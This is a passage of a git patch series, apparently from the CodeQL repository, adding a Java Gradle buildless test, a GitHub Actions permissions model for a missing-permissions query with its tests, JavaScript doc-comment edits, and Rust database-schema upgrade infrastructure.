to 'none'" + }, + "visibility": { + "cliSummaryTable": true, + "statusPage": true, + "telemetry": true + } +} +{ + "markdownMessage": "Reading the dependency graph from build files provided 5 classpath entries", + "severity": "unknown", + "source": { + "extractorName": "java", + "id": "java/autobuilder/buildless/depgraph-provided-by-gradle", + "name": "Java analysis extracted precise dependency graph information from tool Gradle" + }, + "visibility": { + "cliSummaryTable": true, + "statusPage": false, + "telemetry": true + } +} diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/settings.gradle b/java/ql/integration-tests/java/buildless-gradle-boms/settings.gradle new file mode 100644 index 00000000000..227c1aae87a --- /dev/null +++ b/java/ql/integration-tests/java/buildless-gradle-boms/settings.gradle @@ -0,0 +1,8 @@ +/* + * This file was generated by the Gradle 'init' task. + * + * The settings file is used to specify which projects to include in your build. + * For more detailed information on multi-project builds, please refer to https://docs.gradle.org/8.3/userguide/building_swift_projects.html in the Gradle documentation. + */ + +rootProject.name = 'buildless-gradle' diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/source_archive.expected b/java/ql/integration-tests/java/buildless-gradle-boms/source_archive.expected new file mode 100644 index 00000000000..82828506b8a --- /dev/null +++ b/java/ql/integration-tests/java/buildless-gradle-boms/source_archive.expected @@ -0,0 +1,6 @@ +.gradle/8.3/dependencies-accessors/gc.properties +.gradle/8.3/gc.properties +.gradle/buildOutputCleanup/cache.properties +.gradle/vcs-1/gc.properties +gradle/wrapper/gradle-wrapper.properties +src/main/java/com/fractestexample/Test.java diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/src/main/java/com/fractestexample/Test.java b/java/ql/integration-tests/java/buildless-gradle-boms/src/main/java/com/fractestexample/Test.java new file mode 100644 index 00000000000..b8dc610a62e --- /dev/null +++ b/java/ql/integration-tests/java/buildless-gradle-boms/src/main/java/com/fractestexample/Test.java @@ -0,0 +1,9 @@ +package com.fractestexample; + +import org.apache.commons.math3.fraction.Fraction; + +public class Test { + + public Fraction test(org.junit.jupiter.api.Test t) { return Fraction.ONE; } + +} diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/test.py b/java/ql/integration-tests/java/buildless-gradle-boms/test.py new file mode 100644 index 00000000000..bea3e5f552c --- /dev/null +++ b/java/ql/integration-tests/java/buildless-gradle-boms/test.py @@ -0,0 +1,7 @@ +def test(codeql, java, gradle_8_3): + codeql.database.create( + _env={ + "CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS": "true", + "CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS_CLASSPATH_FROM_BUILD_FILES": "true", + } + ) From d8f7f182a9c1bcb676f63503b2e91b5538b677e6 Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Thu, 27 Mar 2025 15:17:11 +0000 Subject: [PATCH 162/282] Change note --- java/ql/lib/change-notes/2025-03-27-gradle-fetch-reduction.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 java/ql/lib/change-notes/2025-03-27-gradle-fetch-reduction.md diff --git a/java/ql/lib/change-notes/2025-03-27-gradle-fetch-reduction.md b/java/ql/lib/change-notes/2025-03-27-gradle-fetch-reduction.md new file mode 100644 index 00000000000..138ff89ff48 --- /dev/null +++ b/java/ql/lib/change-notes/2025-03-27-gradle-fetch-reduction.md @@ -0,0 +1,4 @@ +--- +category: fix +--- +* In `build-mode: none` where the project has a Gradle build system, database creation no longer attempts to download some non-existent jar files relating to non-jar Maven artifacts, such as BOMs. This was harmless, but saves some time and reduces spurious warnings. From f64bdccd6de48aa8e758e2cdc0b38aa76dc687c7 Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 31 Mar 2025 15:30:59 +0200 Subject: [PATCH 163/282] Update javascript/ql/lib/semmle/javascript/ApiGraphs.qll Co-authored-by: Erik Krogh Kristensen --- javascript/ql/lib/semmle/javascript/ApiGraphs.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index f7b7a3e96d4..1669af0b255 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -1792,7 +1792,7 @@ module API { LabelSpreadArgument() { this = MkLabelSpreadArgument(index) } - /** The argument index at which the spread argument appears. */ + /** Gets the argument index at which the spread argument appears. */ int getIndex() { result = index } override string toString() { result = "getSpreadArgument(" + index + ")" } From 149ec20758460697132cefbf85c401b2a404bdbc Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 31 Mar 2025 15:39:09 +0200 Subject: [PATCH 164/282] JS: Add comment about internal edge --- javascript/ql/lib/semmle/javascript/ApiGraphs.qll | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index 1669af0b255..a1ffc8c02f1 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -1795,7 +1795,10 @@ module API { /** Gets the argument index at which the spread argument appears. */ int getIndex() { result = index } - override string toString() { result = "getSpreadArgument(" + index + ")" } + override string toString() { + // Note: This refers to the internal edge that has no corresponding method on API::Node + result = "getSpreadArgument(" + index + ")" + } } /** A label for a function that is a wrapper around another function. */ From e7bb47f335b29661e43ee22e54d66f78c385cb1c Mon Sep 17 00:00:00 2001 From: yoff Date: Fri, 28 Mar 2025 12:57:58 +0100 Subject: [PATCH 165/282] ruby: add MaD model for permissions needed by actions Use this to suggest minimal set of nedded permissions --- actions/ql/lib/codeql/actions/Ast.qll | 2 + .../lib/codeql/actions/ast/internal/Ast.qll | 2 + .../ql/lib/codeql/actions/config/Config.qll | 10 +++++ .../actions/config/ConfigExtensions.qll | 5 +++ .../ql/lib/ext/config/actions_permissions.yml | 37 +++++++++++++++++++ .../CWE-275/MissingActionsPermissions.ql | 29 +++++++++++++-- .../CWE-275/.github/workflows/perms6.yml | 13 +++++++ .../MissingActionsPermissions.expected | 7 ++-- 8 files changed, 99 insertions(+), 6 deletions(-) create mode 100644 actions/ql/lib/ext/config/actions_permissions.yml create mode 100644 actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms6.yml diff --git a/actions/ql/lib/codeql/actions/Ast.qll b/actions/ql/lib/codeql/actions/Ast.qll index 8c1925f3288..a50febdea97 100644 --- a/actions/ql/lib/codeql/actions/Ast.qll +++ b/actions/ql/lib/codeql/actions/Ast.qll @@ -242,6 +242,8 @@ class Step extends AstNode instanceof StepImpl { If getIf() { result = super.getIf() } + AstNode getUses() { result = super.getUses() } + StepsContainer getContainer() { result = super.getContainer() } Step getNextStep() { result = super.getNextStep() } diff --git a/actions/ql/lib/codeql/actions/ast/internal/Ast.qll b/actions/ql/lib/codeql/actions/ast/internal/Ast.qll index b0cbb8a1d79..44ae082a34d 100644 --- a/actions/ql/lib/codeql/actions/ast/internal/Ast.qll +++ b/actions/ql/lib/codeql/actions/ast/internal/Ast.qll @@ -1194,6 +1194,8 @@ class StepImpl extends AstNodeImpl, TStepNode { /** Gets the value of the `if` field in this step, if any. */ IfImpl getIf() { result.getNode() = n.lookup("if") } + AstNodeImpl getUses() { result.getNode() = n.lookup("uses") } + /** Gets the Runs or LocalJob that this step is in. */ StepsContainerImpl getContainer() { result = this.getParentNode().(RunsImpl) or diff --git a/actions/ql/lib/codeql/actions/config/Config.qll b/actions/ql/lib/codeql/actions/config/Config.qll index 08bc7e860c6..e55d36f1bab 100644 --- a/actions/ql/lib/codeql/actions/config/Config.qll +++ b/actions/ql/lib/codeql/actions/config/Config.qll @@ -154,3 +154,13 @@ predicate untrustedGitCommandDataModel(string cmd_regex, string flag) { predicate untrustedGhCommandDataModel(string cmd_regex, string flag) { Extensions::untrustedGhCommandDataModel(cmd_regex, flag) } + +/** + * MaD models for permissions needed by actions + * Fields: + * - action: action name + * - permission: permission name + */ +predicate actionsPermissionsDataModel(string action, string permission) { + Extensions::actionsPermissionsDataModel(action, permission) +} diff --git a/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll b/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll index 68685f5874b..b86ce68a5fd 100644 --- a/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll +++ b/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll @@ -77,3 +77,8 @@ extensible predicate untrustedGitCommandDataModel(string cmd_regex, string flag) * Holds for gh commands that may introduce untrusted data */ extensible predicate untrustedGhCommandDataModel(string cmd_regex, string flag); + +/** + * Holds if `action` needs `permission` to run. + */ +extensible predicate actionsPermissionsDataModel(string action, string permission); diff --git a/actions/ql/lib/ext/config/actions_permissions.yml b/actions/ql/lib/ext/config/actions_permissions.yml new file mode 100644 index 00000000000..6e0081973de --- /dev/null +++ b/actions/ql/lib/ext/config/actions_permissions.yml @@ -0,0 +1,37 @@ +extensions: + - addsTo: + pack: codeql/actions-all + extensible: actionsPermissionsDataModel + data: + - ["actions/checkout", "contents: read"] + - ["actions/setup-node", "contents: read"] + - ["actions/setup-python", "contents: read"] + - ["actions/setup-java", "contents: read"] + - ["actions/setup-go", "contents: read"] + - ["actions/setup-dotnet", "contents: read"] + - ["actions/labeler", "contents: read"] + - ["actions/labeler", "pull-requests: write"] + - ["actions/attest", "id-token: write"] + - ["actions/attest", "attestations: write"] + # No permissions needed for actions/add-to-project + - ["actions/dependency-review-action", "contents: read"] + - ["actions/attest-sbom", "id-token: write"] + - ["actions/attest-sbom", "attestations: write"] + - ["actions/stale", "contents: write"] + - ["actions/stale", "issues: write"] + - ["actions/stale", "pull-requests: write"] + - ["actions/attest-build-provenance", "id-token: write"] + - ["actions/attest-build-provenance", "attestations: write"] + - ["actions/jekyll-build-pages", "contents: read"] + - ["actions/jekyll-build-pages", "pages: write"] + - ["actions/jekyll-build-pages", "id-token: write"] + - ["actions/publish-action", "contents: write"] + - ["actions/versions-package-tools", "contents: read"] + - ["actions/versions-package-tools", "actions: read"] + - ["actions/reusable-workflows", "contents: read"] + - ["actions/reusable-workflows", "actions: read"] + # TODO: Add permissions for actions/download-artifact + # TODO: Add permissions for actions/upload-artifact + # TODO: Add permissions for actions/cache + + diff --git a/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql b/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql index 4f7e951d7ed..6d5bd04b3e2 100644 --- a/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql +++ b/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql @@ -14,7 +14,28 @@ import actions -from Job job +Step stepInJob(Job job) { result = job.(LocalJob).getAStep() } + +bindingset[fullActionSelector] +string versionedAction(string fullActionSelector) { + result = fullActionSelector.substring(0, fullActionSelector.indexOf("@")) + or + not exists(fullActionSelector.indexOf("@")) and + result = fullActionSelector +} + +string stepUses(Step step) { result = step.getUses().(ScalarValue).getValue() } + +string jobNeedsPersmission(Job job) { + actionsPermissionsDataModel(versionedAction(stepUses(stepInJob(job))), result) +} + +string permissionsForJob(Job job) { + result = + "{" + concat(string permission | permission = jobNeedsPersmission(job) | permission, ", ") + "}" +} + +from Job job, string permissions where not exists(job.getPermissions()) and not exists(job.getEnclosingWorkflow().getPermissions()) and @@ -22,5 +43,7 @@ where exists(Event e | e = job.getATriggerEvent() and not e.getName() = "workflow_call" - ) -select job, "Actions Job or Workflow does not set permissions" + ) and + permissions = permissionsForJob(job) +select job, + "Actions Job or Workflow does not set permissions. A minimal set might be " + permissions diff --git a/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms6.yml b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms6.yml new file mode 100644 index 00000000000..2824ca14a7e --- /dev/null +++ b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms6.yml @@ -0,0 +1,13 @@ +on: + workflow_call: + workflow_dispatch: + +jobs: + build: + name: Build and test + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - uses: actions/jekyll-build-pages + + diff --git a/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected b/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected index 8f94d0dc45a..c7103d6f8dd 100644 --- a/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected +++ b/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected @@ -1,3 +1,4 @@ -| .github/workflows/perms1.yml:6:5:9:32 | Job: build | Actions Job or Workflow does not set permissions | -| .github/workflows/perms2.yml:6:5:10:2 | Job: build | Actions Job or Workflow does not set permissions | -| .github/workflows/perms5.yml:7:5:10:32 | Job: build | Actions Job or Workflow does not set permissions | +| .github/workflows/perms1.yml:6:5:9:32 | Job: build | Actions Job or Workflow does not set permissions. A minimal set might be {contents: read} | +| .github/workflows/perms2.yml:6:5:10:2 | Job: build | Actions Job or Workflow does not set permissions. A minimal set might be {contents: read} | +| .github/workflows/perms5.yml:7:5:10:32 | Job: build | Actions Job or Workflow does not set permissions. A minimal set might be {contents: read} | +| .github/workflows/perms6.yml:7:5:11:39 | Job: build | Actions Job or Workflow does not set permissions. A minimal set might be {contents: read, id-token: write, pages: write} | From f5d6fd081d1aba415836168cb435fe102737c1e3 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 31 Mar 2025 16:49:45 +0200 Subject: [PATCH 166/282] Rust: introduce upgrades/downgrades infrastructure --- misc/scripts/prepare-db-upgrade.sh | 2 +- rust/BUILD.bazel | 1 + rust/downgrades/BUILD.bazel | 12 + rust/downgrades/initial/rust.dbscheme | 3601 ++++++++++++++++++++ rust/downgrades/qlpack.yml | 5 + rust/ql/lib/upgrades/initial/rust.dbscheme | 3601 ++++++++++++++++++++ 6 files changed, 7221 insertions(+), 1 deletion(-) create mode 100644 rust/downgrades/BUILD.bazel create mode 100644 rust/downgrades/initial/rust.dbscheme create mode 100644 rust/downgrades/qlpack.yml create mode 100644 rust/ql/lib/upgrades/initial/rust.dbscheme diff --git a/misc/scripts/prepare-db-upgrade.sh b/misc/scripts/prepare-db-upgrade.sh index 8a8b32d1740..bbbeefc4318 100755 --- a/misc/scripts/prepare-db-upgrade.sh +++ b/misc/scripts/prepare-db-upgrade.sh @@ -86,7 +86,7 @@ case "${lang}" in csharp | cpp | javascript | python) scheme_file="${lang}/ql/lib/semmlecode.${lang}.dbscheme" ;; - go | ruby | swift) + go | ruby | rust | swift) scheme_file="${lang}/ql/lib/${lang}.dbscheme" ;; *) diff --git a/rust/BUILD.bazel b/rust/BUILD.bazel index f70f87a9b63..9cdc89dd52f 100644 --- a/rust/BUILD.bazel +++ b/rust/BUILD.bazel @@ -55,6 +55,7 @@ codeql_pack( srcs = [ ":root-files", ":tools", + "//rust/downgrades", ], experimental = True, ) diff --git a/rust/downgrades/BUILD.bazel b/rust/downgrades/BUILD.bazel new file mode 100644 index 00000000000..8aff16d8071 --- /dev/null +++ b/rust/downgrades/BUILD.bazel @@ -0,0 +1,12 @@ +load("@rules_pkg//pkg:mappings.bzl", "pkg_files", "strip_prefix") + +pkg_files( + name = "downgrades", + srcs = glob( + ["**"], + exclude = ["BUILD.bazel"], + ), + prefix = "downgrades", + strip_prefix = strip_prefix.from_pkg(), + visibility = ["//rust:__pkg__"], +) diff --git a/rust/downgrades/initial/rust.dbscheme b/rust/downgrades/initial/rust.dbscheme new file mode 100644 index 00000000000..256e80c2dce --- /dev/null +++ b/rust/downgrades/initial/rust.dbscheme @@ -0,0 +1,3601 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @macro_stmts +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +macro_stmts( + unique int id: @macro_stmts +); + +#keyset[id] +macro_stmts_exprs( + int id: @macro_stmts ref, + int expr: @expr ref +); + +#keyset[id, index] +macro_stmts_statements( + int id: @macro_stmts ref, + int index: int ref, + int statement: @stmt ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + 